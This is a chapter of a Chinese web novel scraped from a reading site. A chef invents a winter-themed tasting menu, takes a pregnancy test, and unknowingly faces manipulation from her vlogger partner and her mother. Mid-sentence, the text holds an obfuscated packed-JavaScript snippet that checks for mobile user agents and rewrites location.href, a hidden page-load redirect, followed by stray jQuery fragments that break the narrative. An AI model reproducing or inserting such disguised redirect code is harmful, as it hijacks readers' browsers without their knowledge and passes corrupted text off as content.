默认冷灰
24号文字
方正启体

7. 第二章(3)

作者:丹十一本书字数:K更新时间:
    林影推开「倒影」饭馆的木门时,檐角的风铃轻响,她恰好撞见伍红抬眼时的愤怒和遗憾。


    伍红是店里的老食客了,每个月总会抽出两三个周末驱车来店里,点一份松茸蒸蛋配熏肉,说这里的味道能让她想起外婆家的后山。


    可今天,她面前的蒸蛋只动了两口,眉头微蹙着,像是十分不满的样子。


    “红姐,是菜品不合口味?”林影走过去,询问对方的意见,她已经换上素白的厨师服,袖口挽到小臂,露出精瘦的手臂肌肉。


    伍红抬眼,语气里带着几分惋惜:“小林,今天的松茸蒸蛋少了点鲜灵劲儿,熏肉也偏咸了。”


    她顿了顿,目光扫过窗外枝桠间悬着的冬日残叶,“可能是我太久没来,总惦记着以前的味道。”


    林影的心轻轻一沉,店里的厨师是上个月新来的,手艺尚可,但到底还是比不上自己,碰上红姐这样的老食客还是显得嫩了点。


    她望着伍红眼底藏着的失落,忽然想起上个月去北方巡山时看到的景象:松针上积着薄霜,枫叶经霜后红得透亮,山涧里鲑鱼正奋力洄游,鳞片在月光下闪着银辉。


    灵感陡然冒出来,像初春的嫩芽破土而出。


    “红姐,您等我半小时,我给您做一套新的套餐。”林影的眼睛亮了起来,语气里带着抑制不住的兴奋,“就叫「冬日之爱」。”


    不等伍红回应,林影已经转身扎进了后厨。手指握到厨具的瞬间,她整个人都变得熠熠生辉起来。


    做松茸蒸蛋时,她选择的是海拔一千二百米的野生松茸,用刀背细细碾成碎末,混进筛过三遍的蛋液里,加少许山泉水和盐,蒸制时全程用小火,确保蛋羹细腻得像云朵。


    出锅前,她将切得极薄的松茸片铺在蛋羹表面,再放进蒸箱焖两分钟,让松茸的鲜香完全渗入蛋羹。随后,她取出一片提前用高温消毒、再经低温烘烤的枫叶,那枫叶边缘微微卷曲,红得均匀透亮,她小心翼翼地将其放在碗口一侧,恰好与蛋羹的倒影相映,宛如寒夜湖中浮着的一轮明月。


    “这是自然的馈赠,该用最温柔的方式呈现。”林影轻声呢喃,像在和自己最珍贵的宝贝对话。


    接下来是熏山猪肉。她选用的是本地农户散养的黑猪后腿肉,之前八角、桂皮、香叶腌制了三小时,再用松针和柏木慢熏四小时,直到肉质变得紧实,带着淡淡的草木香。


    盛肉的盘子是特意定制的黑色粗陶盘,纹理粗糙,如同火山岩石。她在盘底铺满新鲜的海草,那海草是今早从海边坐飞机过来的,带着海水的咸鲜,翠绿的颜色与黑色的盘子形成鲜明对比。


    两片熏肉切得厚薄均匀,斜斜地搭在海草上,油脂顺着肉的纹理慢慢渗出,浸润了下方的海草,香气愈发浓郁。


    处理鲑鱼时,林影的动作格外轻柔。她先将鲑鱼肉片成薄片,用少许柠檬汁腌制十分钟去腥味;又将鲑鱼籽洗净,沥干水分备用。


    最费心思的是番茄脆皮,她选用熟透的本地番茄,去皮去籽后,将果肉打成泥,加入少量淀粉和蛋清,搅拌均匀后摊在平底锅上,用小火慢慢煎成薄脆,再小心翼翼地卷成鲑鱼的形状,将鲑鱼肉片和鱼籽酿在里面。


    番茄的酸甜与鲑鱼的鲜香相互交织,光是闻着味道,林影就忍不住弯起了嘴角。


    “酸甜开胃,正好中和熏肉的厚重。”她满意地点点头,将这道菜放进保温柜。


    最后是那道菜林影准备做花果蔬菜沙拉,盛沙拉的盘子巨大,边缘呈波浪状,白瓷底色上点缀着细碎的蓝纹,如同冬日的星空。


    林影从保鲜柜里取出几十种食材:山里的野草莓、蓝莓、山楂,田地里的胡萝卜、小番茄、生菜,还有晒干的无花果、杏仁、枸杞……每一种食材都经过仔细清洗、处理,切成大小均匀的小块,错落有致地摆放在盘子里,色彩斑斓得像一幅油画。


    点睛之笔的是最后的是「冬日之爱」的「爱」,林影将新鲜的冬季草莓打成泥,加入琼脂熬煮,倒入嘴唇形状的模具中,冷藏定型后取出,那草莓啫喱粉粉嫩嫩,边缘圆润,真真切切像一对饱满的嘴唇。她将这“嘴唇”放在沙拉中央,旁边摆着一小瓶现熬的草莓酱。


    当林影推着餐车走出后厨时,伍红的眼睛瞬间亮了。


    四道菜依次摆上桌,从月光般的蒸蛋到火山岩般的熏肉,从鲑鱼形状的番茄脆皮到星空般的沙拉,每一道都透着巧思与灵气。


    “这是……”伍红伸出手,指尖悬在枫叶上方,不敢触碰。


    “松茸蒸蛋,枫叶是消毒过的,放心。”林影笑着解释,“熏山猪肉用的松针熏制,海草是今早刚捞的。鲑鱼是洄游的,番茄脆皮是现做的,酸甜开胃。沙拉里的花果蔬菜都是本地当季的,有好几十种呢!”


    伍红先尝了一口松茸蒸蛋,蛋羹入口即化,松茸的鲜香在舌尖弥漫开来,搭配着枫叶的清冽气息,仿佛置身于冬日的山林间。


    接着是熏山猪肉,肉质紧实不柴,带着松针的清香和海草的咸鲜,口感层次丰富。番茄脆皮咬下去“咔嚓”一声,番茄的酸甜与鲑鱼的鲜嫩、鱼籽的爆浆感交织在一起,瞬间唤醒了味蕾。


    最后,她拿起草莓酱瓶,缓缓倒向那对“嘴唇”。草莓啫喱遇到温热的酱汁,慢慢散开,粉色的酱液与沙拉中的食材融合,宛如爱意蔓延。


    伍红舀起一勺沙拉,水果的甜、蔬菜的脆、坚果的香,还有那若有似无的果香,在口中炸开,每一口都充满了惊喜。


    “太好吃了。”伍红放下勺子,眼底满是惊艳,“这些食材都是本地的、当季的,既健康又美味,完全没有辜负自然的馈赠。而且这摆盘,空灵又简约,像仙境一样。”


    她望着林影,语气无比认真,“小林,你知道吗?有些人天生就该做某件事。我天生就该吃遍天下美食,而你,天生就该成为厨师。”


    林影静静地听着,嘴角始终挂着温和的微笑。她想起自己从小就喜欢摆弄食材,想起第一次做出满意的菜品时的喜悦,想起无数个在厨房忙碌的日夜。


    今天她倒是久违地再次感受到纯粹的创造的意义。


    “谢谢您,红姐。”林影轻声说。


    伍红摆摆手,拿起纸巾擦了擦嘴角,眼神里带着几分狡黠:“我以后会不定期来抽查的,你可不能懈怠。”


    “随时欢迎。”林影笑着送她到门口。


    看着伍红的车消失在夜色中,林影转身回到店里。窗外的残叶已经徐徐落下,与碗口的枫叶倒影遥遥相对。


    她抬手抚过脸颊,指尖还残留着草莓酱的甜香,心里满是难以言喻的幸福。


    林影送走伍红后,回到办公室,关上门,进入厕所,掏出验孕棒,犹豫片刻后,她拨通了张晴雨的电话。


    “晴雨,我有点事想跟你说。” 林影的声音带着几分不确定,“我可能怀孕了。”


    电话那头的张晴雨愣了一下,她和林影的关系比张怀野还要好,有些事情林影不会对张怀野说,但会对张晴雨说,张晴雨知道林影一心扑在自己的小饭馆上,开口便问:“那你自己怎么想的?想生还是不想生?”


    “我不知道。” 林影揉着眉心,语气迷茫,“如果真的怀孕了,我应该会选择生下来。但如果没有怀孕,张怀野要是要求我备孕,我又不愿意了。”


    她叹了口气,“你也知道,他拍vlog,要是备孕肯定又要记录,到时候粉丝天天催更、追问进度,我想想就觉得窒息。而且备孕的过程我光是想想都觉得无法忍受,要调理身体、应付各种检查,我不想把这些都暴露在镜头下,更不想为了满足粉丝和他的期待,勉强自己。”


    张晴雨沉默了几秒,一针见血地说:“所以你其实是希望顺其自然,不喜欢被人推着走,也不喜欢把私生活完全暴露在镜头前,对吧?”


    “对!”林影像是找到了知音,连忙说道,“就是这种感觉。他最近粉丝涨得很猛,不停折腾拍摄,连累我都要配合他做他镜头里的完美女友。”


    她的声音里带着几分委屈,“还有,如果我一直无法正常怀孕,你有没有觉得,张怀野好像就占据了某种道德高地?他在vlog里对我越好,粉丝就越觉得我幸福,到时候要是大家知道我不愿意备孕,肯定会骂我不知足。而我自己,也会觉得亏欠他,是我让他无法成为一个父亲。”


    “林影,你别被这些绑架了。” 张晴雨的语气带着几分无奈,“你要清楚,你不是他vlog里的配角,而是活生生的人。”


    林影靠在椅背上,眼神放空:“是啊,我觉得自己又清醒又糊涂,像是网上说的那种半睡半醒的人,我也想满足他,可我也不想苛求自己。”


    “无论你做什么决定我都站在你这边。” 张晴雨安慰道,“但最终的决定还是需要你自己做。”


    挂了电话,林影深吸一口气,按照说明操作,心里既紧张又忐忑。


    等待结果的那几分钟,仿佛过了一个世纪。


    当看到验孕棒上清晰的一条红线时,林影先是愣了愣,随即长长地松了一口气,紧绷的身体瞬间放松下来,眼眶甚至有些发热。


    她看着镜子里的自己,脸色依旧苍白,却露出了久违的轻松笑容。这一刻,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119739|195957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她无比清晰地意识到,自己其实并不想要怀孕,


    而这个结果,让她摆脱了那种两难的困境,也让她看清了自己真实的想法——她想要的是继续全力以赴,心无旁骛地做菜,而不是瞻前顾后,牺牲自己照顾别人的感受。


    /


    张怀野回到家时,玄关的感应灯缓缓亮起,沙发上空荡荡的,可林影平时一般都躺在那里,今天去哪儿了?他有些疑惑。


    “我回来了。”张怀野的声音带着几分不易察觉的委屈,上午的时候林影就那么决绝地抛弃了自己,都没有来哄自己。


    厨房里有声音传来,张怀野转身望去,呼吸猛地一滞。


    林影穿着一件极简的婚纱,白色的蕾丝贴合着曲线,裙摆拖在地板上,随着她的动作轻轻晃动。婚纱的领口下,露出林影纤细的锁骨,衬得她肌肤胜雪,平日里那双专注于食材的手,此刻自然垂在身侧,指尖带着淡淡的烟火气。


    “我新买了一个能穿下去的婚纱,只穿给你一个人看。”林影的声音很轻,带着几分柔软的妥协,“我做了你喜欢吃的菜,你想吃的糖醋排骨,还有我新发明的菜式松茸蒸蛋。”


    婚纱的裙摆扫过厨房的地板,像一团洁白的云朵。


    张怀野望着她的背影,心里的郁结瞬间消散了大半。


    林影处理排骨时动作娴熟,刀锋起落间,带着平日烹饪时的专注与从容。糖醋汁的酸甜香气渐渐弥漫开来,混合着蔬菜的清新,填满了整个屋子。


    “别站在这儿,油烟大。”林影头也没抬,语气里带着自然的关切。


    “没事,我想看着你。”张怀野的声音柔得能滴出水来。


    林影手上的动作顿了顿,抬起头看他,眼底带着浅浅的笑意:“我知道你是在乎我。但日子是我们两个人过的,没必要活给别人看。你喜欢看我穿婚纱的话,以后我就在家里穿给你看。”


    晚餐时,张怀野吃得格外香,他不停地给林影夹菜,眼神里满是宠溺:“还是你做的最好吃。”


    林影笑着应着,手里却拿起了手机,屏幕上是与伍红的聊天框。


    伍红还在兴奋地探讨「冬日之爱」套餐的细节,发来一大段文字:“小林,那个草莓啫喱太绝了!‘向世界散播爱’的创意太浪漫了,而且食材都是本地的,健康又可持续,下次我要带朋友来尝!”


    林影的眼睛瞬间亮了起来,指尖飞快地回复:“苏姐,我打算调整一下鲑鱼的做法,用低温慢煮保留更多汁水,番茄脆皮可以再薄一点,口感更脆。”她一边回复,一边回想伍红提出的建议,脑海里已经开始构思新的改良方案,嘴角不自觉地扬起,神情专注又热烈。


    张怀野看着她低头玩手机时眼里的光,那是一种他从未在自己身上看到过的、纯粹的热爱与兴奋。他心里莫名地有些不是滋味,轻轻咳嗽了一声:“还在聊菜品?”


    “嗯,红姐提了些很好的建议。”林影抬头看了他一眼,语气里带着抑制不住的喜悦,“她觉得沙拉的食材可以再增加几种本地的野果,我觉得可行,明天去山里找找。”


    张怀野“哦”了一声,没再说话,只是默默地给她夹了一块排骨。


    他不懂那些菜品的创意,翻来覆去不就是那些东西,也不懂她为什么能为了一道菜如此投入,他只知道,他想让她的注意力更多地放在自己身上。


    临睡前,林影忽然说:“早上那个陪我们拍照的小妹妹,我总觉得有些眼熟。”


    “是吗?在哪里见过?”张怀野顺着林影的话继续往下问。


    林影回想起那阵带着血色的回忆,又摇摇头,说:“算了,不记得了。”


    夜深了,林影已经睡着,呼吸均匀,脸颊带着淡淡的红晕。


    张怀野躺在床上,忽然收到丈母娘的短信:【上次说的那个疗愈的课程,记得下周一带林影去上。】


    很多时候,王子英不方便对林影做的事情,张怀野都会替她去做,这次也不例外。


    【没问题,包在我身上。】张怀野一口答应下来。


    撂下手机,张怀野嘴角勾起一抹志在必得的笑。


    他觉得,接下来只要哄好丈母娘,让丈母娘站在自己这边,林影就会慢慢依赖他,她们的关系自然会越来越牢固。


    黑暗中,两人并肩躺着,呼吸交织,心却隔着遥远的距离。


    林影的梦里,是松针上的薄霜,是鲑鱼的银鳞,是草莓啫喱融化时的浪漫;而张怀野的思绪里,是算计,是占有,是他自以为是的“牢固”。


    同一张床,两个梦境,暗潮汹涌,无人知晓。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)